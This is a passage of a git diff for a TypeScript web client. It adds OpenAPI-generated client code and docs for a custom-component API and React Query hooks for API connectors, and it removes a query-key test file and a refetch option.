+console.log(exampleJSON)
+
+// Parse the JSON string back to an object
+const exampleParsed = JSON.parse(exampleJSON) as CustomComponent
+console.log(exampleParsed)
+```
+
+[[Back to top]](#) [[Back to API list]](../README.md#api-endpoints) [[Back to Model list]](../README.md#models) [[Back to README]](../README.md)
+
+
diff --git a/client/src/ee/shared/middleware/platform/custom-component/docs/CustomComponentApi.md b/client/src/ee/shared/middleware/platform/custom-component/docs/CustomComponentApi.md
new file mode 100644
index 00000000000..5b66d17cc28
--- /dev/null
+++ b/client/src/ee/shared/middleware/platform/custom-component/docs/CustomComponentApi.md
@@ -0,0 +1,275 @@
+# CustomComponentApi
+
+All URIs are relative to */api/platform/internal*
+
+| Method | HTTP request | Description |
+|------------- | ------------- | -------------|
+| [**deleteCustomComponent**](CustomComponentApi.md#deletecustomcomponent) | **DELETE** /custom-components/{id} | Delete an custom component |
+| [**enableCustomComponent**](CustomComponentApi.md#enablecustomcomponent) | **PATCH** /custom-components/{id}/enable/{enable} | Enable/disable a custom component. |
+| [**getCustomComponent**](CustomComponentApi.md#getcustomcomponent) | **GET** /custom-components/{id} | Get an custom component by id |
+| [**getCustomComponents**](CustomComponentApi.md#getcustomcomponents) | **GET** /custom-components | Get Custom Components |
+
+
+
+## deleteCustomComponent
+
+> deleteCustomComponent(id)
+
+Delete an custom component
+
+Delete an custom component.
+
+### Example
+
+```ts
+import {
+  Configuration,
+  CustomComponentApi,
+} from '';
+import type { DeleteCustomComponentRequest } from '';
+
+async function example() {
+  console.log("🚀 Testing  SDK...");
+  const api = new CustomComponentApi();
+
+  const body = {
+    // number | The id of an custom component.
+    id: 789,
+  } satisfies DeleteCustomComponentRequest;
+
+  try {
+    const data = await api.deleteCustomComponent(body);
+    console.log(data);
+  } catch (error) {
+    console.error(error);
+  }
+}
+
+// Run the test
+example().catch(console.error);
+```
+
+### Parameters
+
+
+| Name | Type | Description  | Notes |
+|------------- | ------------- | ------------- | -------------|
+| **id** | `number` | The id of an custom component. | [Defaults to `undefined`] |
+
+### Return type
+
+`void` (Empty response body)
+
+### Authorization
+
+No authorization required
+
+### HTTP request headers
+
+- **Content-Type**: Not defined
+- **Accept**: Not defined
+
+
+### HTTP response details
+| Status code | Description | Response headers |
+|-------------|-------------|------------------|
+| **204** | Successful operation. |  -  |
+
+[[Back to top]](#) [[Back to API list]](../README.md#api-endpoints) [[Back to Model list]](../README.md#models) [[Back to README]](../README.md)
+
+
+## enableCustomComponent
+
+> enableCustomComponent(id, enable)
+
+Enable/disable a custom component.
+
+Enable/disable a custom component.
+
+### Example
+
+```ts
+import {
+  Configuration,
+  CustomComponentApi,
+} from '';
+import type { EnableCustomComponentRequest } from '';
+
+async function example() {
+  console.log("🚀 Testing  SDK...");
+  const api = new CustomComponentApi();
+
+  const body = {
+    // number | The id of the custom component.
+    id: 789,
+    // boolean | Enable/disable the custom component.
+    enable: true,
+  } satisfies EnableCustomComponentRequest;
+
+  try {
+    const data = await api.enableCustomComponent(body);
+    console.log(data);
+  } catch (error) {
+    console.error(error);
+  }
+}
+
+// Run the test
+example().catch(console.error);
+```
+
+### Parameters
+
+
+| Name | Type | Description  | Notes |
+|------------- | ------------- | ------------- | -------------|
+| **id** | `number` | The id of the custom component. | [Defaults to `undefined`] |
+| **enable** | `boolean` | Enable/disable the custom component. | [Defaults to `undefined`] |
+
+### Return type
+
+`void` (Empty response body)
+
+### Authorization
+
+No authorization required
+
+### HTTP request headers
+
+- **Content-Type**: Not defined
+- **Accept**: Not defined
+
+
+### HTTP response details
+| Status code | Description | Response headers |
+|-------------|-------------|------------------|
+| **204** | Successful operation. |  -  |
+
+[[Back to top]](#) [[Back to API list]](../README.md#api-endpoints) [[Back to Model list]](../README.md#models) [[Back to README]](../README.md)
+
+
+## getCustomComponent
+
+> CustomComponent getCustomComponent(id)
+
+Get an custom component by id
+
+Get an custom component by id.
+
+### Example
+
+```ts
+import {
+  Configuration,
+  CustomComponentApi,
+} from '';
+import type { GetCustomComponentRequest } from '';
+
+async function example() {
+  console.log("🚀 Testing  SDK...");
+  const api = new CustomComponentApi();
+
+  const body = {
+    // number | The id of an custom component.
+    id: 789,
+  } satisfies GetCustomComponentRequest;
+
+  try {
+    const data = await api.getCustomComponent(body);
+    console.log(data);
+  } catch (error) {
+    console.error(error);
+  }
+}
+
+// Run the test
+example().catch(console.error);
+```
+
+### Parameters
+
+
+| Name | Type | Description  | Notes |
+|------------- | ------------- | ------------- | -------------|
+| **id** | `number` | The id of an custom component. | [Defaults to `undefined`] |
+
+### Return type
+
+[**CustomComponent**](CustomComponent.md)
+
+### Authorization
+
+No authorization required
+
+### HTTP request headers
+
+- **Content-Type**: Not defined
+- **Accept**: `application/json`
+
+
+### HTTP response details
+| Status code | Description | Response headers |
+|-------------|-------------|------------------|
+| **200** | The custom component object. |  -  |
+
+[[Back to top]](#) [[Back to API list]](../README.md#api-endpoints) [[Back to Model list]](../README.md#models) [[Back to README]](../README.md)
+
+
+## getCustomComponents
+
+> Array&lt;CustomComponent&gt; getCustomComponents()
+
+Get Custom Components
+
+Get Custom Components.
+
+### Example
+
+```ts
+import {
+  Configuration,
+  CustomComponentApi,
+} from '';
+import type { GetCustomComponentsRequest } from '';
+
+async function example() {
+  console.log("🚀 Testing  SDK...");
+  const api = new CustomComponentApi();
+
+  try {
+    const data = await api.getCustomComponents();
+    console.log(data);
+  } catch (error) {
+    console.error(error);
+  }
+}
+
+// Run the test
+example().catch(console.error);
+```
+
+### Parameters
+
+This endpoint does not need any parameter.
+
+### Return type
+
+[**Array&lt;CustomComponent&gt;**](CustomComponent.md)
+
+### Authorization
+
+No authorization required
+
+### HTTP request headers
+
+- **Content-Type**: Not defined
+- **Accept**: `application/json`
+
+
+### HTTP response details
+| Status code | Description | Response headers |
+|-------------|-------------|------------------|
+| **200** | A list of Custom Components. |  -  |
+
+[[Back to top]](#) [[Back to API list]](../README.md#api-endpoints) [[Back to Model list]](../README.md#models) [[Back to README]](../README.md)
+
diff --git a/client/src/ee/shared/middleware/platform/custom-component/index.ts b/client/src/ee/shared/middleware/platform/custom-component/index.ts
new file mode 100644
index 00000000000..bebe8bbbe20
--- /dev/null
+++ b/client/src/ee/shared/middleware/platform/custom-component/index.ts
@@ -0,0 +1,5 @@
+/* tslint:disable */
+/* eslint-disable */
+export * from './runtime';
+export * from './apis/index';
+export * from './models/index';
diff --git a/client/src/ee/shared/middleware/platform/custom-component/models/CustomComponent.ts b/client/src/ee/shared/middleware/platform/custom-component/models/CustomComponent.ts
new file mode 100644
index 00000000000..0493762b8bd
--- /dev/null
+++ b/client/src/ee/shared/middleware/platform/custom-component/models/CustomComponent.ts
@@ -0,0 +1,170 @@
+/* tslint:disable */
+/* eslint-disable */
+/**
+ * The Platform Custom Component Internal API
+ * No description provided (generated by Openapi Generator https://github.com/openapitools/openapi-generator)
+ *
+ * The version of the OpenAPI document: 1
+ * 
+ *
+ * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
+ * https://openapi-generator.tech
+ * Do not edit the class manually.
+ */
+
+import { mapValues } from '../runtime';
+/**
+ * An custom component.
+ * @export
+ * @interface CustomComponent
+ */
+export interface CustomComponent {
+    /**
+     * The version of a custom component.
+     * @type {number}
+     * @memberof CustomComponent
+     */
+    componentVersion?: number;
+    /**
+     * The created by.
+     * @type {string}
+     * @memberof CustomComponent
+     */
+    readonly createdBy?: string;
+    /**
+     * The created date.
+     * @type {Date}
+     * @memberof CustomComponent
+     */
+    readonly createdDate?: Date;
+    /**
+     * The description of a custom component.
+     * @type {string}
+     * @memberof CustomComponent
+     */
+    description?: string;
+    /**
+     * If a custom component is enabled or not.
+     * @type {boolean}
+     * @memberof CustomComponent
+     */
+    enabled?: boolean;
+    /**
+     * The icon of a custom component.
+     * @type {string}
+     * @memberof CustomComponent
+     */
+    icon?: string;
+    /**
+     * The id of an custom component.
+     * @type {number}
+     * @memberof CustomComponent
+     */
+    id?: number;
+    /**
+     * The language in which the component is implemented
+     * @type {string}
+     * @memberof CustomComponent
+     */
+    readonly language?: CustomComponentLanguageEnum;
+    /**
+     * The last modified by.
+     * @type {string}
+     * @memberof CustomComponent
+     */
+    readonly lastModifiedBy?: string;
+    /**
+     * The last modified date.
+     * @type {Date}
+     * @memberof CustomComponent
+     */
+    readonly lastModifiedDate?: Date;
+    /**
+     * The name of a custom component.
+     * @type {string}
+     * @memberof CustomComponent
+     */
+    name: string;
+    /**
+     * The title of a custom component.
+     * @type {string}
+     * @memberof CustomComponent
+     */
+    title?: string;
+    /**
+     * 
+     * @type {number}
+     * @memberof CustomComponent
+     */
+    version?: number;
+}
+
+
+/**
+ * @export
+ */
+export const CustomComponentLanguageEnum = {
+    Java: 'JAVA',
+    Javascript: 'JAVASCRIPT',
+    Python: 'PYTHON',
+    Ruby: 'RUBY'
+} as const;
+export type CustomComponentLanguageEnum = typeof CustomComponentLanguageEnum[keyof typeof CustomComponentLanguageEnum];
+
+
+/**
+ * Check if a given object implements the CustomComponent interface.
+ */
+export function instanceOfCustomComponent(value: object): value is CustomComponent {
+    if (!('name' in value) || value['name'] === undefined) return false;
+    return true;
+}
+
+export function CustomComponentFromJSON(json: any): CustomComponent {
+    return CustomComponentFromJSONTyped(json, false);
+}
+
+export function CustomComponentFromJSONTyped(json: any, ignoreDiscriminator: boolean): CustomComponent {
+    if (json == null) {
+        return json;
+    }
+    return {
+        
+        'componentVersion': json['componentVersion'] == null ? undefined : json['componentVersion'],
+        'createdBy': json['createdBy'] == null ? undefined : json['createdBy'],
+        'createdDate': json['createdDate'] == null ? undefined : (new Date(json['createdDate'])),
+        'description': json['description'] == null ? undefined : json['description'],
+        'enabled': json['enabled'] == null ? undefined : json['enabled'],
+        'icon': json['icon'] == null ? undefined : json['icon'],
+        'id': json['id'] == null ? undefined : json['id'],
+        'language': json['language'] == null ? undefined : json['language'],
+        'lastModifiedBy': json['lastModifiedBy'] == null ? undefined : json['lastModifiedBy'],
+        'lastModifiedDate': json['lastModifiedDate'] == null ? undefined : (new Date(json['lastModifiedDate'])),
+        'name': json['name'],
+        'title': json['title'] == null ? undefined : json['title'],
+        'version': json['__version'] == null ? undefined : json['__version'],
+    };
+}
+
+export function CustomComponentToJSON(json: any): CustomComponent {
+    return CustomComponentToJSONTyped(json, false);
+}
+
+export function CustomComponentToJSONTyped(value?: Omit<CustomComponent, 'createdBy'|'createdDate'|'language'|'lastModifiedBy'|'lastModifiedDate'> | null, ignoreDiscriminator: boolean = false): any {
+    if (value == null) {
+        return value;
+    }
+
+    return {
+        
+        'componentVersion': value['componentVersion'],
+        'description': value['description'],
+        'enabled': value['enabled'],
+        'icon': value['icon'],
+        'id': value['id'],
+        'name': value['name'],
+        'title': value['title'],
+        '__version': value['version'],
+    };
+}
+
diff --git a/client/src/ee/shared/middleware/platform/custom-component/models/index.ts b/client/src/ee/shared/middleware/platform/custom-component/models/index.ts
new file mode 100644
index 00000000000..f3d02f001bc
--- /dev/null
+++ b/client/src/ee/shared/middleware/platform/custom-component/models/index.ts
@@ -0,0 +1,3 @@
+/* tslint:disable */
+/* eslint-disable */
+export * from './CustomComponent';
diff --git a/client/src/ee/shared/middleware/platform/custom-component/runtime.ts b/client/src/ee/shared/middleware/platform/custom-component/runtime.ts
new file mode 100644
index 00000000000..ae5468a0707
--- /dev/null
+++ b/client/src/ee/shared/middleware/platform/custom-component/runtime.ts
@@ -0,0 +1,432 @@
+/* tslint:disable */
+/* eslint-disable */
+/**
+ * The Platform Custom Component Internal API
+ * No description provided (generated by Openapi Generator https://github.com/openapitools/openapi-generator)
+ *
+ * The version of the OpenAPI document: 1
+ * 
+ *
+ * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
+ * https://openapi-generator.tech
+ * Do not edit the class manually.
+ */
+
+
+export const BASE_PATH = "/api/platform/internal".replace(/\/+$/, "");
+
+export interface ConfigurationParameters {
+    basePath?: string; // override base path
+    fetchApi?: FetchAPI; // override for fetch implementation
+    middleware?: Middleware[]; // middleware to apply before/after fetch requests
+    queryParamsStringify?: (params: HTTPQuery) => string; // stringify function for query strings
+    username?: string; // parameter for basic security
+    password?: string; // parameter for basic security
+    apiKey?: string | Promise<string> | ((name: string) => string | Promise<string>); // parameter for apiKey security
+    accessToken?: string | Promise<string> | ((name?: string, scopes?: string[]) => string | Promise<string>); // parameter for oauth2 security
+    headers?: HTTPHeaders; //header params we want to use on every request
+    credentials?: RequestCredentials; //value for the credentials param we want to use on each request
+}
+
+export class Configuration {
+    constructor(private configuration: ConfigurationParameters = {}) {}
+
+    set config(configuration: Configuration) {
+        this.configuration = configuration;
+    }
+
+    get basePath(): string {
+        return this.configuration.basePath != null ? this.configuration.basePath : BASE_PATH;
+    }
+
+    get fetchApi(): FetchAPI | undefined {
+        return this.configuration.fetchApi;
+    }
+
+    get middleware(): Middleware[] {
+        return this.configuration.middleware || [];
+    }
+
+    get queryParamsStringify(): (params: HTTPQuery) => string {
+        return this.configuration.queryParamsStringify || querystring;
+    }
+
+    get username(): string | undefined {
+        return this.configuration.username;
+    }
+
+    get password(): string | undefined {
+        return this.configuration.password;
+    }
+
+    get apiKey(): ((name: string) => string | Promise<string>) | undefined {
+        const apiKey = this.configuration.apiKey;
+        if (apiKey) {
+            return typeof apiKey === 'function' ? apiKey : () => apiKey;
+        }
+        return undefined;
+    }
+
+    get accessToken(): ((name?: string, scopes?: string[]) => string | Promise<string>) | undefined {
+        const accessToken = this.configuration.accessToken;
+        if (accessToken) {
+            return typeof accessToken === 'function' ? accessToken : async () => accessToken;
+        }
+        return undefined;
+    }
+
+    get headers(): HTTPHeaders | undefined {
+        return this.configuration.headers;
+    }
+
+    get credentials(): RequestCredentials | undefined {
+        return this.configuration.credentials;
+    }
+}
+
+export const DefaultConfig = new Configuration();
+
+/**
+ * This is the base class for all generated API classes.
+ */
+export class BaseAPI {
+
+    private static readonly jsonRegex = new RegExp('^(:?application\/json|[^;/ \t]+\/[^;/ \t]+[+]json)[ \t]*(:?;.*)?$', 'i');
+    private middleware: Middleware[];
+
+    constructor(protected configuration = DefaultConfig) {
+        this.middleware = configuration.middleware;
+    }
+
+    withMiddleware<T extends BaseAPI>(this: T, ...middlewares: Middleware[]) {
+        const next = this.clone<T>();
+        next.middleware = next.middleware.concat(...middlewares);
+        return next;
+    }
+
+    withPreMiddleware<T extends BaseAPI>(this: T, ...preMiddlewares: Array<Middleware['pre']>) {
+        const middlewares = preMiddlewares.map((pre) => ({ pre }));
+        return this.withMiddleware<T>(...middlewares);
+    }
+
+    withPostMiddleware<T extends BaseAPI>(this: T, ...postMiddlewares: Array<Middleware['post']>) {
+        const middlewares = postMiddlewares.map((post) => ({ post }));
+        return this.withMiddleware<T>(...middlewares);
+    }
+
+    /**
+     * Check if the given MIME is a JSON MIME.
+     * JSON MIME examples:
+     *   application/json
+     *   application/json; charset=UTF8
+     *   APPLICATION/JSON
+     *   application/vnd.company+json
+     * @param mime - MIME (Multipurpose Internet Mail Extensions)
+     * @return True if the given MIME is JSON, false otherwise.
+     */
+    protected isJsonMime(mime: string | null | undefined): boolean {
+        if (!mime) {
+            return false;
+        }
+        return BaseAPI.jsonRegex.test(mime);
+    }
+
+    protected async request(context: RequestOpts, initOverrides?: RequestInit | InitOverrideFunction): Promise<Response> {
+        const { url, init } = await this.createFetchParams(context, initOverrides);
+        const response = await this.fetchApi(url, init);
+        if (response && (response.status >= 200 && response.status < 300)) {
+            return response;
+        }
+        throw new ResponseError(response, 'Response returned an error code');
+    }
+
+    private async createFetchParams(context: RequestOpts, initOverrides?: RequestInit | InitOverrideFunction) {
+        let url = this.configuration.basePath + context.path;
+        if (context.query !== undefined && Object.keys(context.query).length !== 0) {
+            // only add the querystring to the URL if there are query parameters.
+            // this is done to avoid urls ending with a "?" character which buggy webservers
+            // do not handle correctly sometimes.
+            url += '?' + this.configuration.queryParamsStringify(context.query);
+        }
+
+        const headers = Object.assign({}, this.configuration.headers, context.headers);
+        Object.keys(headers).forEach(key => headers[key] === undefined ? delete headers[key] : {});
+
+        const initOverrideFn =
+            typeof initOverrides === "function"
+                ? initOverrides
+                : async () => initOverrides;
+
+        const initParams = {
+            method: context.method,
+            headers,
+            body: context.body,
+            credentials: this.configuration.credentials,
+        };
+
+        const overriddenInit: RequestInit = {
+            ...initParams,
+            ...(await initOverrideFn({
+                init: initParams,
+                context,
+            }))
+        };
+
+        let body: any;
+        if (isFormData(overriddenInit.body)
+            || (overriddenInit.body instanceof URLSearchParams)
+            || isBlob(overriddenInit.body)) {
+          body = overriddenInit.body;
+        } else if (this.isJsonMime(headers['Content-Type'])) {
+          body = JSON.stringify(overriddenInit.body);
+        } else {
+          body = overriddenInit.body;
+        }
+
+        const init: RequestInit = {
+            ...overriddenInit,
+            body
+        };
+
+        return { url, init };
+    }
+
+    private fetchApi = async (url: string, init: RequestInit) => {
+        let fetchParams = { url, init };
+        for (const middleware of this.middleware) {
+            if (middleware.pre) {
+                fetchParams = await middleware.pre({
+                    fetch: this.fetchApi,
+                    ...fetchParams,
+                }) || fetchParams;
+            }
+        }
+        let response: Response | undefined = undefined;
+        try {
+            response = await (this.configuration.fetchApi || fetch)(fetchParams.url, fetchParams.init);
+        } catch (e) {
+            for (const middleware of this.middleware) {
+                if (middleware.onError) {
+                    response = await middleware.onError({
+                        fetch: this.fetchApi,
+                        url: fetchParams.url,
+                        init: fetchParams.init,
+                        error: e,
+                        response: response ? response.clone() : undefined,
+                    }) || response;
+                }
+            }
+            if (response === undefined) {
+              if (e instanceof Error) {
+                throw new FetchError(e, 'The request failed and the interceptors did not return an alternative response');
+              } else {
+                throw e;
+              }
+            }
+        }
+        for (const middleware of this.middleware) {
+            if (middleware.post) {
+                response = await middleware.post({
+                    fetch: this.fetchApi,
+                    url: fetchParams.url,
+                    init: fetchParams.init,
+                    response: response.clone(),
+                }) || response;
+            }
+        }
+        return response;
+    }
+
+    /**
+     * Create a shallow clone of `this` by constructing a new instance
+     * and then shallow cloning data members.
+     */
+    private clone<T extends BaseAPI>(this: T): T {
+        const constructor = this.constructor as any;
+        const next = new constructor(this.configuration);
+        next.middleware = this.middleware.slice();
+        return next;
+    }
+};
+
+function isBlob(value: any): value is Blob {
+    return typeof Blob !== 'undefined' && value instanceof Blob;
+}
+
+function isFormData(value: any): value is FormData {
+    return typeof FormData !== "undefined" && value instanceof FormData;
+}
+
+export class ResponseError extends Error {
+    override name: "ResponseError" = "ResponseError";
+    constructor(public response: Response, msg?: string) {
+        super(msg);
+    }
+}
+
+export class FetchError extends Error {
+    override name: "FetchError" = "FetchError";
+    constructor(public cause: Error, msg?: string) {
+        super(msg);
+    }
+}
+
+export class RequiredError extends Error {
+    override name: "RequiredError" = "RequiredError";
+    constructor(public field: string, msg?: string) {
+        super(msg);
+    }
+}
+
+export const COLLECTION_FORMATS = {
+    csv: ",",
+    ssv: " ",
+    tsv: "\t",
+    pipes: "|",
+};
+
+export type FetchAPI = WindowOrWorkerGlobalScope['fetch'];
+
+export type Json = any;
+export type HTTPMethod = 'GET' | 'POST' | 'PUT' | 'PATCH' | 'DELETE' | 'OPTIONS' | 'HEAD';
+export type HTTPHeaders = { [key: string]: string };
+export type HTTPQuery = { [key: string]: string | number | null | boolean | Array<string | number | null | boolean> | Set<string | number | null | boolean> | HTTPQuery };
+export type HTTPBody = Json | FormData | URLSearchParams;
+export type HTTPRequestInit = { headers?: HTTPHeaders; method: HTTPMethod; credentials?: RequestCredentials; body?: HTTPBody };
+export type ModelPropertyNaming = 'camelCase' | 'snake_case' | 'PascalCase' | 'original';
+
+export type InitOverrideFunction = (requestContext: { init: HTTPRequestInit, context: RequestOpts }) => Promise<RequestInit>
+
+export interface FetchParams {
+    url: string;
+    init: RequestInit;
+}
+
+export interface RequestOpts {
+    path: string;
+    method: HTTPMethod;
+    headers: HTTPHeaders;
+    query?: HTTPQuery;
+    body?: HTTPBody;
+}
+
+export function querystring(params: HTTPQuery, prefix: string = ''): string {
+    return Object.keys(params)
+        .map(key => querystringSingleKey(key, params[key], prefix))
+        .filter(part => part.length > 0)
+        .join('&');
+}
+
+function querystringSingleKey(key: string, value: string | number | null | undefined | boolean | Array<string | number | null | boolean> | Set<string | number | null | boolean> | HTTPQuery, keyPrefix: string = ''): string {
+    const fullKey = keyPrefix + (keyPrefix.length ? `[${key}]` : key);
+    if (value instanceof Array) {
+        const multiValue = value.map(singleValue => encodeURIComponent(String(singleValue)))
+            .join(`&${encodeURIComponent(fullKey)}=`);
+        return `${encodeURIComponent(fullKey)}=${multiValue}`;
+    }
+    if (value instanceof Set) {
+        const valueAsArray = Array.from(value);
+        return querystringSingleKey(key, valueAsArray, keyPrefix);
+    }
+    if (value instanceof Date) {
+        return `${encodeURIComponent(fullKey)}=${encodeURIComponent(value.toISOString())}`;
+    }
+    if (value instanceof Object) {
+        return querystring(value as HTTPQuery, fullKey);
+    }
+    return `${encodeURIComponent(fullKey)}=${encodeURIComponent(String(value))}`;
+}
+
+export function exists(json: any, key: string) {
+    const value = json[key];
+    return value !== null && value !== undefined;
+}
+
+export function mapValues(data: any, fn: (item: any) => any) {
+    const result: { [key: string]: any } = {};
+    for (const key of Object.keys(data)) {
+        result[key] = fn(data[key]);
+    }
+    return result;
+}
+
+export function canConsumeForm(consumes: Consume[]): boolean {
+    for (const consume of consumes) {
+        if ('multipart/form-data' === consume.contentType) {
+            return true;
+        }
+    }
+    return false;
+}
+
+export interface Consume {
+    contentType: string;
+}
+
+export interface RequestContext {
+    fetch: FetchAPI;
+    url: string;
+    init: RequestInit;
+}
+
+export interface ResponseContext {
+    fetch: FetchAPI;
+    url: string;
+    init: RequestInit;
+    response: Response;
+}
+
+export interface ErrorContext {
+    fetch: FetchAPI;
+    url: string;
+    init: RequestInit;
+    error: unknown;
+    response?: Response;
+}
+
+export interface Middleware {
+    pre?(context: RequestContext): Promise<FetchParams | void>;
+    post?(context: ResponseContext): Promise<Response | void>;
+    onError?(context: ErrorContext): Promise<Response | void>;
+}
+
+export interface ApiResponse<T> {
+    raw: Response;
+    value(): Promise<T>;
+}
+
+export interface ResponseTransformer<T> {
+    (json: any): T;
+}
+
+export class JSONApiResponse<T> {
+    constructor(public raw: Response, private transformer: ResponseTransformer<T> = (jsonValue: any) => jsonValue) {}
+
+    async value(): Promise<T> {
+        return this.transformer(await this.raw.json());
+    }
+}
+
+export class VoidApiResponse {
+    constructor(public raw: Response) {}
+
+    async value(): Promise<void> {
+        return undefined;
+    }
+}
+
+export class BlobApiResponse {
+    constructor(public raw: Response) {}
+
+    async value(): Promise<Blob> {
+        return await this.raw.blob();
+    };
+}
+
+export class TextApiResponse {
+    constructor(public raw: Response) {}
+
+    async value(): Promise<string> {
+        return await this.raw.text();
+    };
+}
diff --git a/client/src/ee/shared/mutations/platform/apiConnector.mutations.ts b/client/src/ee/shared/mutations/platform/apiConnector.mutations.ts
new file mode 100644
index 00000000000..5ad5b120aac
--- /dev/null
+++ b/client/src/ee/shared/mutations/platform/apiConnector.mutations.ts
@@ -0,0 +1,88 @@
+import {
+    ApiConnector,
+    ApiConnectorApi,
+    EnableApiConnectorRequest,
+    ImportOpenApiSpecificationRequest,
+} from '@/ee/shared/middleware/platform/api-connector';
+import {useMutation} from '@tanstack/react-query';
+
+interface CreateApiConnectorMutationProps {
+    onError?: (error: Error, variables: ApiConnector) => void;
+    onSuccess?: (result: ApiConnector, variables: ApiConnector) => void;
+}
+
+export const useCreateApiConnectorMutation = (mutationProps?: CreateApiConnectorMutationProps) =>
+    useMutation<ApiConnector, Error, ApiConnector>({
+        mutationFn: (apiConnector: ApiConnector) => {
+            return new ApiConnectorApi().createApiConnector({
+                apiConnector,
+            });
+        },
+        onError: mutationProps?.onError,
+        onSuccess: mutationProps?.onSuccess,
+    });
+
+interface DeleteApiConnectorMutationProps {
+    onError?: (error: Error, variables: number) => void;
+    onSuccess?: (result: void, variables: number) => void;
+}
+
+export const useDeleteApiConnectorMutation = (mutationProps?: DeleteApiConnectorMutationProps) =>
+    useMutation<void, Error, number>({
+        mutationFn: (id: number) => {
+            return new ApiConnectorApi().deleteApiConnector({
+                id,
+            });
+        },
+        onError: mutationProps?.onError,
+        onSuccess: mutationProps?.onSuccess,
+    });
+
+interface ImportOpenApiSpecificationRequestApiConnectorMutationProps {
+    onError?: (error: Error, variables: ImportOpenApiSpecificationRequest) => void;
+    onSuccess?: (result: ApiConnector, variables: ImportOpenApiSpecificationRequest) => void;
+}
+
+interface EnableApiConnectorMutationProps {
+    onSuccess?: (result: void, variables: EnableApiConnectorRequest) => void;
+    onError?: (error: Error, variables: EnableApiConnectorRequest) => void;
+}
+
+export const useEnableApiConnectorMutation = (mutationProps: EnableApiConnectorMutationProps) =>
+    useMutation({
+        mutationFn: (request: EnableApiConnectorRequest) => {
+            return new ApiConnectorApi().enableApiConnector(request);
+        },
+        onError: mutationProps?.onError,
+        onSuccess: mutationProps?.onSuccess,
+    });
+
+export const useImportOpenApiSpecificationMutation = (
+    mutationProps?: ImportOpenApiSpecificationRequestApiConnectorMutationProps
+) =>
+    useMutation<ApiConnector, Error, ImportOpenApiSpecificationRequest>({
+        mutationFn: (importOpenApiSpecificationRequest: ImportOpenApiSpecificationRequest) => {
+            return new ApiConnectorApi().importOpenApiSpecification({
+                importOpenApiSpecificationRequest,
+            });
+        },
+        onError: mutationProps?.onError,
+        onSuccess: mutationProps?.onSuccess,
+    });
+
+interface UpdateApiConnectorMutationProps {
+    onError?: (error: Error, variables: ApiConnector) => void;
+    onSuccess?: (result: ApiConnector, variables: ApiConnector) => void;
+}
+
+export const useUpdateApiConnectorMutation = (mutationProps?: UpdateApiConnectorMutationProps) =>
+    useMutation<ApiConnector, Error, ApiConnector>({
+        mutationFn: (apiConnector: ApiConnector) => {
+            return new ApiConnectorApi().updateApiConnector({
+                apiConnector,
+                id: apiConnector.id!,
+            });
+        },
+        onError: mutationProps?.onError,
+        onSuccess: mutationProps?.onSuccess,
+    });
diff --git a/client/src/ee/shared/queries/embedded/tests/workflowExecutions.queries.test.ts b/client/src/ee/shared/queries/embedded/tests/workflowExecutions.queries.test.ts
deleted file mode 100644
index 1f753c4817b..00000000000
--- a/client/src/ee/shared/queries/embedded/tests/workflowExecutions.queries.test.ts
+++ /dev/null
@@ -1,60 +0,0 @@
-import {describe, expect, it} from 'vitest';
-
-import {WorkflowExecutionKeys} from '../workflowExecutions.queries';
-
-describe('workflowExecutions.queries (embedded)', () => {
-    describe('WorkflowExecutionKeys', () => {
-        it('generates correct base key for workflow executions', () => {
-            expect(WorkflowExecutionKeys.workflowExecutions).toEqual(['integrationWorkflowExecutions']);
-        });
-
-        it('generates correct key for workflow execution by id', () => {
-            const result = WorkflowExecutionKeys.workflowExecution(123);
-
-            expect(result).toEqual(['integrationWorkflowExecutions', 123]);
-        });
-
-        it('generates correct key for filtered workflow executions', () => {
-            const request = {
-                integrationId: 1,
-                pageNumber: 0,
-                pageSize: 10,
-            };
-
-            const result = WorkflowExecutionKeys.filteredWorkflowExecutions(request);
-
-            expect(result).toEqual(['integrationWorkflowExecutions', request]);
-        });
-
-        it('generates unique keys for different workflow execution ids', () => {
-            const key1 = WorkflowExecutionKeys.workflowExecution(1);
-            const key2 = WorkflowExecutionKeys.workflowExecution(2);
-
-            expect(key1).not.toEqual(key2);
-            expect(key1).toEqual(['integrationWorkflowExecutions', 1]);
-            expect(key2).toEqual(['integrationWorkflowExecutions', 2]);
-        });
-
-        it('generates unique keys for different filter requests', () => {
-            const request1 = {integrationId: 1, pageNumber: 0};
-            const request2 = {integrationId: 2, pageNumber: 0};
-
-            const key1 = WorkflowExecutionKeys.filteredWorkflowExecutions(request1);
-            const key2 = WorkflowExecutionKeys.filteredWorkflowExecutions(request2);
-
-            expect(key1).not.toEqual(key2);
-        });
-
-        it('workflow execution key includes base workflow executions key', () => {
-            const executionKey = WorkflowExecutionKeys.workflowExecution(123);
-
-            expect(executionKey[0]).toBe(WorkflowExecutionKeys.workflowExecutions[0]);
-        });
-
-        it('filtered workflow executions key includes base workflow executions key', () => {
-            const filteredKey = WorkflowExecutionKeys.filteredWorkflowExecutions({pageNumber: 0});
-
-            expect(filteredKey[0]).toBe(WorkflowExecutionKeys.workflowExecutions[0]);
-        });
-    });
-});
diff --git a/client/src/ee/shared/queries/embedded/workflowExecutions.queries.ts b/client/src/ee/shared/queries/embedded/workflowExecutions.queries.ts
index bc37c30ffc9..22296415d70 100644
--- a/client/src/ee/shared/queries/embedded/workflowExecutions.queries.ts
+++ b/client/src/ee/shared/queries/embedded/workflowExecutions.queries.ts
@@ -24,14 +24,9 @@ export const useGetIntegrationWorkflowExecutionsQuery = (request: GetWorkflowExe
         queryFn: () => new WorkflowExecutionApi().getWorkflowExecutionsPage(request),
     });
 
-export const useGetIntegrationWorkflowExecutionQuery = (
-    request: GetWorkflowExecutionRequest,
-    isEnabled: boolean,
-    refetchInterval?: number | false
-) =>
+export const useGetIntegrationWorkflowExecutionQuery = (request: GetWorkflowExecutionRequest, isEnabled: boolean) =>
     useQuery<WorkflowExecution, Error>({
         queryKey: WorkflowExecutionKeys.workflowExecution(request.id),
         queryFn: () => new WorkflowExecutionApi().getWorkflowExecution(request),
         enabled: isEnabled,
-        refetchInterval,
     });
diff --git a/client/src/ee/shared/queries/platform/apiConnectors.queries.ts b/client/src/ee/shared/queries/platform/apiConnectors.queries.ts
new file mode 100644
index 00000000000..28d26cf8179
--- /dev/null
+++ b/client/src/ee/shared/queries/platform/apiConnectors.queries.ts
@@ -0,0 +1,14 @@
+import {ApiConnector, ApiConnectorApi} from '@/ee/shared/middleware/platform/api-connector';
+
+/* eslint-disable sort-keys */
+import {useQuery} from '@tanstack/react-query';
+
+export const ApiConnectorKeys = {
